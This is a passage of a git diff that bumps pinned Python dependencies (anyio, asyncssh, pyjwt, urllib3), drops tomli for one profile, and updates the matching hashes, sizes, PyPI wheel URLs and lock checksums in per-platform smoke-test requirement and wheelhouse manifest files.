alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1 pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -83,7 +83,7 @@ typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21 typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35 watchfiles==1.1.1 --hash=sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb diff --git a/implementations/tooling/python/smoke/linux-arm64-cp314.wheelhouse-manifest.json b/implementations/tooling/python/smoke/linux-arm64-cp314.wheelhouse-manifest.json index d62a469a6..80fea518c 100644 --- a/implementations/tooling/python/smoke/linux-arm64-cp314.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/linux-arm64-cp314.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -681,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -730,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-linux-arm64-cp314-all-extras", - "requirements_sha256": "49db56b1b602244aab8d81e90e0a799da01d4cdec78e9563a8a59222347efec2", + "requirements_sha256": "fc58cd7f612d94ec1974f7ae58d0b42fb9923379bda53b192e9a1074b052d20a", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp311.txt b/implementations/tooling/python/smoke/linux-x86_64-cp311.txt index b807a8bcc..1aff036b3 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp311.txt +++ b/implementations/tooling/python/smoke/linux-x86_64-cp311.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -79,12 +79,11 @@ sphinxcontrib-qthelp==2.0.0 --hash=sha256:b18a828cdba941ccd6ee8445dbe72ffa3ef8cb sphinxcontrib-serializinghtml==2.0.0 --hash=sha256:6e2cb0eef194e10c27ec0023bfeb25badbbb5868244cf5bc5bdc04e4464bf331 sse-starlette==3.3.4 --hash=sha256:84bb06e58939a8b38d8341f1bc9792f06c2b53f48c608dd207582b664fc8f3c1 starlette==1.3.1 --hash=sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6 -tomli==2.4.1 --hash=sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9 typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21f04e9aa84c9e typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702 watchfiles==1.1.1 --hash=sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606 diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp311.wheelhouse-manifest.json b/implementations/tooling/python/smoke/linux-x86_64-cp311.wheelhouse-manifest.json index 777a68b4b..10babbfeb 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp311.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/linux-x86_64-cp311.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -648,14 +648,6 @@ "url": "https://files.pythonhosted.org/packages/ec/bb/2799cc2ede3ed41131f8975621e7213dfc7ef4acbbaadfa440f32500c370/starlette-1.3.1-py3-none-any.whl", "version": "1.3.1" }, - { - "filename": "tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", - "name": "tomli", - "sha256": "5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", - "size": 243824, - "url": "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", - "version": "2.4.1" - }, { "filename": "typer-0.24.1-py3-none-any.whl", "name": "typer", @@ -689,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -738,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-linux-x86_64-cp311-all-extras", - "requirements_sha256": "9387e0e813d737ddbbed332d3993ed84c4d9756e8de8f63a140d1dbb4d440a48", + "requirements_sha256": "251270a3b14bdbeed08b0ada6ea6d34051ce0ab953cb67d29a292bb70e06e8b9", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp312.txt b/implementations/tooling/python/smoke/linux-x86_64-cp312.txt index a5a94c3ab..0cb57903f 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp312.txt +++ b/implementations/tooling/python/smoke/linux-x86_64-cp312.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -83,7 +83,7 @@ typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21 typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4 watchfiles==1.1.1 --hash=sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803 diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp312.wheelhouse-manifest.json b/implementations/tooling/python/smoke/linux-x86_64-cp312.wheelhouse-manifest.json index 424cf6385..7ae860857 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp312.wheelhouse-manifest.json +++ b/implementations/tooling/python/smoke/linux-x86_64-cp312.wheelhouse-manifest.json @@ -33,20 +33,20 @@ "version": "0.7.0" }, { - "filename": "anyio-4.13.0-py3-none-any.whl", + "filename": "anyio-4.14.2-py3-none-any.whl", "name": "anyio", - "sha256": "08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", - "size": 114353, - "url": "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", - "version": "4.13.0" + "sha256": "9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", + "size": 125813, + "url": "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", + "version": "4.14.2" }, { - "filename": "asyncssh-2.23.1-py3-none-any.whl", + "filename": "asyncssh-2.24.0-py3-none-any.whl", "name": "asyncssh", - "sha256": "f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e", - "size": 376054, - "url": "https://files.pythonhosted.org/packages/ef/94/9aa81bde40627af70388d634152e7c53e7533788e662b8093047501a1473/asyncssh-2.23.1-py3-none-any.whl", - "version": "2.23.1" + "sha256": "9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7", + "size": 381237, + "url": "https://files.pythonhosted.org/packages/3e/29/908ce0ca5e8cae76662e354a0f08df552d6d221844748b9e5ca06051cc44/asyncssh-2.24.0-py3-none-any.whl", + "version": "2.24.0" }, { "filename": "attrs-26.1.0-py3-none-any.whl", @@ -377,12 +377,12 @@ "version": "2.20.0" }, { - "filename": "pyjwt-2.13.0-py3-none-any.whl", + "filename": "pyjwt-2.15.1-py3-none-any.whl", "name": "pyjwt", - "sha256": "66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", - "size": 31274, - "url": "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", - "version": "2.13.0" + "sha256": "42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193", + "size": 33860, + "url": "https://files.pythonhosted.org/packages/50/ca/44de4e75f8aadc457f0634be3b542815078ded46dca30efb960edeecad6e/pyjwt-2.15.1-py3-none-any.whl", + "version": "2.15.1" }, { "filename": "pytest-9.1.0-py3-none-any.whl", @@ -681,12 +681,12 @@ "version": "32.0.1" }, { - "filename": "urllib3-2.7.0-py3-none-any.whl", + "filename": "urllib3-2.8.0-py3-none-any.whl", "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" + "sha256": "0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", + "size": 135717, + "url": "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", + "version": "2.8.0" }, { "filename": "uvicorn-0.42.0-py3-none-any.whl", @@ -730,8 +730,8 @@ } ], "lock_path": "implementations/python/uv.lock", - "lock_sha256": "1f8bb8a09c7535a4bf00ed073c76308ae625e2c1dab1d77ba151bbec114de7ba", + "lock_sha256": "5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad", "python_closure_profile_id": "public-linux-x86_64-cp312-all-extras", - "requirements_sha256": "58c6c1f64fad378874e96dd92220bdb0960f59d9e359ac921b8d07a8bf0f237b", + "requirements_sha256": "7c238cc7d7c1a12769191bf4bf8eb85e2ca758ee585d79a432ba17134f351557", "schema_version": "raes-python-wheelhouse-manifest/v1" } diff --git a/implementations/tooling/python/smoke/linux-x86_64-cp313.txt b/implementations/tooling/python/smoke/linux-x86_64-cp313.txt index 099b5a53f..725324c97 100644 --- a/implementations/tooling/python/smoke/linux-x86_64-cp313.txt +++ b/implementations/tooling/python/smoke/linux-x86_64-cp313.txt @@ -2,8 +2,8 @@ accessible-pygments==0.0.5 --hash=sha256:88ae3211e68a1d0b011504b2ffc1691feafce12 alabaster==1.0.0 --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b annotated-doc==0.0.4 --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 annotated-types==0.7.0 --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 -anyio==4.13.0 --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 -asyncssh==2.23.1 --hash=sha256:f68e55476d41253d785bcac9a90834ae5fdea0f417bd6d7182608bda248de88e +anyio==4.14.2 --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 +asyncssh==2.24.0 --hash=sha256:9abd46300adcb6d4b73269b34c53cd0d17a138b9a22b5b38008ce7d5808734b7 attrs==26.1.0 --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 babel==2.18.0 --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35 beautifulsoup4==4.14.3 --hash=sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb @@ -45,7 +45,7 @@ pydantic==2.12.5 --hash=sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f22 pydantic-core==2.41.5 --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 pydantic-settings==2.14.2 --hash=sha256:a20c97b37910b6550d5ea50fbcc2d4187defe58cd57070b73863d069419c9440 pygments==2.20.0 --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.13.0 --hash=sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728 +pyjwt==2.15.1 --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 pytest==9.1.0 --hash=sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32 pytest-cov==7.1.0 --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 pytest-mock==3.15.1 --hash=sha256:0a25e2eb88fe5168d535041d09a4529a188176ae608a6d249ee65abc0949630d @@ -83,7 +83,7 @@ typer==0.24.1 --hash=sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21 typing-extensions==4.15.0 --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 typing-inspection==0.4.2 --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 univers==32.0.1 --hash=sha256:50a574ff2321e31e1eba7aa586bf63a9558d91c69c70316bf26c75e1b122499b -urllib3==2.7.0 --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +urllib3==2.8.0 --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 uvicorn==0.42.0 --hash=sha256:96c30f5c7abe6f74ae8900a70e92b85ad6613b745d4879eb9b16ccad15645359 uvloop==0.22.1 --hash=sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e 